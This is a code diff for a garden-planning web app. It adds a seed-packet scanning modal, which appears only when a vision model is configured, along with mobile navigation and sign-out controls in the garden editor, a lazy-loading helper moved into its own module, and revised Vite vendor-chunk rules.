+import { Link, getRouteApi } from '@tanstack/react-router'
 import { Alert } from '@/components/ui/Alert'
 import { Button } from '@/components/ui/Button'
 import { GardenCanvas } from '@/editor/GardenCanvas'
@@ -13,6 +13,7 @@ import { PlantPicker } from '@/editor/PlantPicker'
 import { Palette } from '@/editor/Palette'
 import { SeedTray } from '@/editor/SeedTray'
 import { RecentPlants } from '@/editor/RecentPlants'
+import { ScanPacketModal } from '@/components/plants/ScanPacketModal'
 import { ClearBedModal } from '@/editor/ClearBedModal'
 import { EditorHint } from '@/editor/EditorHint'
 import { SeasonBanner, SeasonPicker } from '@/editor/SeasonPicker'
@@ -22,6 +23,7 @@ import { isCoarsePointer } from '@/editor/shared'
 import { cn } from '@/lib/cn'
 import type { EditorGarden } from '@/editor/types'
 import { ShareGardenModal } from '@/components/gardens/ShareGardenModal'
+import { AccountMenu } from '@/components/layout/AppShell'
 import { useMe } from '@/lib/auth'
 import {
   toEditorObject,
@@ -84,6 +86,8 @@ export function GardenEditorPage() {
   const setRailTab = useEditorStore((s) => s.setRailTab)
   const journalObjectId = useEditorStore((s) => s.journalObjectId)
   const setJournalObjectId = useEditorStore((s) => s.setJournalObjectId)
+  const journalPlantingId = useEditorStore((s) => s.journalPlantingId)
+  const setJournalPlantingId = useEditorStore((s) => s.setJournalPlantingId)
   const journalCounts = useJournalCounts(gid)
   const capabilities = useCapabilities()
   const journalTotal = useMemo(
@@ -108,6 +112,10 @@ export function GardenEditorPage() {
   const [picker, setPicker] = useState<'place' | 'change' | null>(null)
   const [sharing, setSharing] = useState(false)
   const [clearing, setClearing] = useState(false)
+  const [scanning, setScanning] = useState(false)
+  // Whether to offer packet scanning — a vision model is configured. Read once
+  // here so all three Plants-mode entry points gate identically.
+  const canScan = !!capabilities.data?.vision
   const nudgeTimer = useRef<number | null>(null)
   const nudgeFire = useRef<(() => void) | null>(null)
 
@@ -496,6 +504,13 @@ export function GardenEditorPage() {
             readOnly={!canEdit}
             onChangePlant={() => setPicker('change')}
             onClose={() => selectPlanting(null)}
+            onAddNote={() => {
+              // Parity with the bed inspector: scope the journal to this plop and
+              // open it. The plop stays selected, so the selection effect keeps the
+              // inspector reachable when you switch back.
+              setJournalPlantingId(selectedPlop.id)
+              setRailTab('journal')
+            }}
           />
         ) : (
           <p className="text-sm text-muted">Select a bed or a planting to edit it.</p>
@@ -516,6 +531,8 @@ export function GardenEditorPage() {
           objects={objects}
           scopeObjectId={journalObjectId}
           onScopeChange={setJournalObjectId}
+          scopePlantingId={journalPlantingId}
+          onScopePlantingChange={setJournalPlantingId}
         />
       ),
     },
@@ -539,8 +556,13 @@ export function GardenEditorPage() {
   // 100dvh, not 100vh: on mobile Safari/Chrome 100vh is the *largest* viewport
   // (URL bar hidden), so with the bar showing the editor overflowed and pushed
   // the canvas bottom + Fit button under the browser chrome (#85).
+  //
+  // The subtracted band differs by breakpoint because the chrome does. On mobile
+  // the global top bar is hidden here (AppShell), so the only thing outside the
+  // editor is <main>'s py-6 — 3rem, top + bottom. On desktop the header is
+  // present, so keep the original 8rem.
   return (
-    <div className="flex h-[calc(100dvh-8rem)] flex-col gap-3 md:flex-row">
+    <div className="flex h-[calc(100dvh-3rem)] flex-col gap-3 md:h-[calc(100dvh-8rem)] md:flex-row">
       {/* Desktop-only control column. On mobile these move to the bottom mode bar
           + a slim top strip so the canvas — the point of the screen — isn't shoved
           into a corner by a stack of controls (#99). */}
@@ -592,8 +614,17 @@ export function GardenEditorPage() {
 
       <div className="relative flex min-h-0 flex-1 flex-col gap-2">
         {/* Mobile top strip: the garden identity / season / share that live in the
-            desktop left column. md:hidden. */}
+            desktop left column, plus the way out. The global header is hidden on
+            mobile here (AppShell), so this leaf is the only route back to the
+            gardens list — it can't be dropped. md:hidden. */}
         <div className="flex items-center gap-2 md:hidden">
+          <Link
+            to="/gardens"
+            aria-label="All gardens"
+            className="-ml-1 shrink-0 rounded-md px-1.5 py-1 text-lg leading-none text-accent-strong outline-none focus-visible:ring-2 focus-visible:ring-accent/40"
+          >
+            🌱
+          </Link>
           <h1 className="min-w-0 flex-1 truncate text-base font-semibold tracking-tight" title={garden.name}>
             {garden.name}
           </h1>
@@ -608,6 +639,10 @@ export function GardenEditorPage() {
               Share
             </Button>
           )}
+          {/* The global header (and its account menu) is hidden on mobile in the
+              editor, so carry sign-out here — otherwise it's unreachable without
+              leaving the garden. */}
+          {me.data && <AccountMenu displayName={me.data.displayName} />}
         </div>
         {seasonYear !== null && <SeasonBanner year={seasonYear} onExit={() => setSeasonYear(null)} />}
         {/* Focus toolbar is desktop-only; on mobile its plant tools move to the
@@ -632,6 +667,8 @@ export function GardenEditorPage() {
                   onClear={() => setClearing(true)}
                   onFill={fillBed}
                   filling={fillObject.isPending}
+                  canScan={canScan}
+                  onScan={() => setScanning(true)}
                 />
               ) : (
                 <span className="text-xs text-muted">Not plantable</span>
@@ -666,6 +703,9 @@ export function GardenEditorPage() {
           tabs={railTabs}
           activeId={railTab}
           onActivate={setRailTab}
+          // Panel modes want the room; the inspector stays a shorter peek (see the
+          // `tall` prop doc).
+          tall={railTab !== 'inspector'}
           onClose={() => {
             // Only the inspector is *about* the selection, so only closing it
             // deselects; dismissing a panel leaves the canvas as you had it. Any
@@ -706,6 +746,8 @@ export function GardenEditorPage() {
                       onClear={() => setClearing(true)}
                       onFill={fillBed}
                       filling={fillObject.isPending}
+                      canScan={!!capabilities.data?.vision}
+                      onScan={() => setScanning(true)}
                     />
                     <Button variant="ghost" className="ml-auto px-2 py-1 text-xs" onClick={exitFocus}>
                       Done planting
@@ -724,7 +766,18 @@ export function GardenEditorPage() {
                   </div>
                 )
               ) : (
-                <p className="px-1 text-xs text-muted">Tap a bed, then “🌱 Plant here” to start planting.</p>
+                <div className="flex items-center gap-2">
+                  <p className="px-1 text-xs text-muted">Tap a bed, then “🌱 Plant here” to start planting.</p>
+                  {canScan && (
+                    <Button
+                      variant="ghost"
+                      className="ml-auto px-2 py-1 text-xs"
+                      onClick={() => setScanning(true)}
+                    >
+                      📷 Scan packet
+                    </Button>
+                  )}
+                </div>
               ))}
           </div>
         )}
@@ -741,6 +794,8 @@ export function GardenEditorPage() {
 
       {sharing && <ShareGardenModal garden={g} onClose={() => setSharing(false)} />}
 
+      {scanning && <ScanPacketModal unit={garden.unitPref} onClose={() => setScanning(false)} />}
+
       {clearing && focusedObject && (
         <ClearBedModal
           objectId={focusedObject.id}
@@ -768,6 +823,8 @@ function PlantPlacementTools({
   onClear,
   onFill,
   filling,
+  canScan,
+  onScan,
 }: {
   recentPlants: Plant[]
   trayPlants: Plant[]
@@ -780,6 +837,10 @@ function PlantPlacementTools({
   onClear: () => void
   onFill: (layout: FillLayout) => void
   filling: boolean
+  // Scanning a packet adds a variety to the catalog mid-planting; only offered
+  // where a vision model is configured.
+  canScan: boolean
+  onScan: () => void
 }) {
   return (
     <>
@@ -791,6 +852,11 @@ function PlantPlacementTools({
         onRemove={onRemove}
         onOpenPicker={onOpenPicker}
       />
+      {canScan && (
+        <Button variant="ghost" className="px-2 py-1 text-xs" onClick={onScan}>
+          📷 Scan packet
+        </Button>
+      )}
       {armedPlant && <FillControl onFill={onFill} busy={filling} />}
       {armedPlant && (
         <Button variant="ghost" className="px-2 py-1 text-xs" onClick={onDisarm}>

web/src/pages/PlantsPage.tsx

@@ -9,7 +9,9 @@ import { PlantFormModal } from '@/components/plants/PlantFormModal'
 import { DeletePlantModal } from '@/components/plants/DeletePlantModal'
 import { SeedLotModal } from '@/components/plants/SeedLotModal'
 import { DeleteSeedLotModal } from '@/components/plants/DeleteSeedLotModal'
+import { ScanPacketModal } from '@/components/plants/ScanPacketModal'
 import { PlantPicker } from '@/editor/PlantPicker'
+import { useCapabilities } from '@/lib/agent'
 import { filterPlants, usePlants, type CategoryFilter, type Plant } from '@/lib/plants'
 import { lotsByPlant, useSeedLots, type SeedLot } from '@/lib/seedLots'
 import type { UnitPref } from '@/lib/units'
@@ -22,6 +24,7 @@ type Dialog =
   | { kind: 'duplicate'; plant: Plant }
   | { kind: 'delete'; plant: Plant }
   | { kind: 'picker' }
+  | { kind: 'scan' }
   | { kind: 'addLot'; plant: Plant }
   | { kind: 'editLot'; plant: Plant; lot: SeedLot }
   | { kind: 'deleteLot'; lot: SeedLot }
@@ -41,6 +44,7 @@ function loadUnit(): UnitPref {
 export function PlantsPage() {
   usePageTitle('Plants')
   const plants = usePlants()
+  const capabilities = useCapabilities()
   const seedLots = useSeedLots()
   const lots = useMemo(() => lotsByPlant(seedLots.data), [seedLots.data])
   const [unit, setUnit] = useState<UnitPref>(() => loadUnit())
@@ -72,6 +76,13 @@ export function PlantsPage() {
           <Button variant="ghost" onClick={() => setDialog({ kind: 'picker' })}>
             Try the picker
           </Button>
+          {/* Only where a vision model is configured — otherwise the scan would
+              404 on the vision call, so we don't offer it. */}
+          {capabilities.data?.vision && (
+            <Button variant="ghost" onClick={() => setDialog({ kind: 'scan' })}>
+              Scan a packet
+            </Button>
+          )}
           <Button
             variant="ghost"
             onClick={toggleUnit}
@@ -136,6 +147,7 @@ export function PlantsPage() {
       {dialog?.kind === 'addLot' && <SeedLotModal plant={dialog.plant} onClose={close} />}
       {dialog?.kind === 'editLot' && <SeedLotModal plant={dialog.plant} lot={dialog.lot} onClose={close} />}
       {dialog?.kind === 'deleteLot' && <DeleteSeedLotModal lot={dialog.lot} onClose={close} />}
+      {dialog?.kind === 'scan' && <ScanPacketModal unit={unit} onClose={close} />}
       {dialog?.kind === 'picker' && (
         <PlantPicker
           unit={unit}

web/src/router.tsx

@@ -1,4 +1,3 @@
-import { lazy, type ComponentType } from 'react'
 import {
   createRootRouteWithContext,
   createRoute,
@@ -15,38 +14,7 @@ import { meQueryOptions } from '@/lib/auth'
 import { queryClient } from '@/lib/queryClient'
 import { safeRedirectPath } from '@/lib/redirect'
 import { getLastGardenId } from '@/lib/lastGarden'
-
-// Lazily load a page by its named export, with recovery for the stale-chunk
-// problem. A push to main redeploys, so a still-open app references chunk hashes
-// the server has just replaced; that import 404s and React.lazy MEMOIZES the
-// rejection, so RouteError's "Try again" (router.invalidate) can never recover —
-// the user is stuck until a manual hard reload. On the first such failure we
-// reload once (fetching the fresh index + hashes); a session flag stops a reload
-// loop, and a success clears it so a later genuine failure can reload again.
-function lazyPage<M, K extends keyof M>(load: () => Promise<M>, name: K) {
-  return lazy(async () => {
-    try {
-      const mod = await load()
-      try {
-        sessionStorage.removeItem('pansy:chunk-reload')
-      } catch {
-        /* storage unavailable — fine */
-      }
-      return { default: mod[name] as ComponentType }
-    } catch (err) {
-      try {
-        if (!sessionStorage.getItem('pansy:chunk-reload')) {
-          sessionStorage.setItem('pansy:chunk-reload', '1')
-          window.location.reload()
-          return await new Promise<{ default: ComponentType }>(() => {}) // hold for the reload
-        }
-      } catch {
-        /* storage unavailable — fall through to surface the error */
-      }
-      throw err // already reloaded once (or can't); let the error boundary show it
-    }
-  })
-}
+import { lazyPage } from '@/lib/lazyPage'
 
 // Code-split the heavier / deeper routes so a phone on cell data doesn't download
 // the whole app (notably the canvas editor with its gesture + geometry deps)

web/vite.config.ts

@@ -31,22 +31,25 @@ export default defineConfig(({ mode }) => {
       sourcemap: true,
       rollupOptions: {
         output: {
-          // One vendor chunk for ALL node_modules: it's rarely-changing, so it
-          // caches across app deploys while the tiny app chunk churns. Kept as a
-          // SINGLE chunk on purpose — splitting react-dom/scheduler into their own
-          // chunk reorders their module init across chunk boundaries and breaks
-          // React 19 at load ("Cannot set 'Activity' of undefined"). The heavy
-          // routes are code-split separately via React.lazy (router.tsx), which is
-          // where the real first-paint win is.
+          // The app-wide core goes in ONE cached vendor chunk (rarely changes, so
+          // it survives deploys while the tiny app chunk churns). react + react-dom
+          // + scheduler MUST stay together — splitting react-dom into its own chunk
+          // reorders module init across chunk boundaries and breaks React 19 at
+          // load ("Cannot set 'Activity' of undefined"). Everything else — the
+          // gesture engine, the assistant's markdown renderer + its ecosystem —
+          // rides with whatever imports it, so a lazily-loaded route/feature keeps
+          // it out of the eager first paint. The routes are code-split via
+          // React.lazy (router.tsx), where the real first-paint win is.
           manualChunks(id) {
             if (!id.includes('node_modules')) return undefined
-            // Editor-only libs (the gesture engine) ride with the lazy editor
-            // chunk instead of the eager vendor one, so the first paint doesn't
-            // pay for code only the canvas needs. Everything else — react, tanstack
-            // and the rest — stays in ONE vendor chunk; splitting react-dom out
-            // reorders its init across chunks and breaks React 19 at load.
-            if (id.includes('@use-gesture')) return undefined
-            return 'vendor'
+            if (
+              /[/\\]node_modules[/\\](react|react-dom|scheduler|@tanstack|zustand|zod|clsx|tailwind-merge)[/\\]/.test(
+                id,
+              )
+            ) {
+              return 'vendor'
+            }
+            return undefined
           },
         },
       },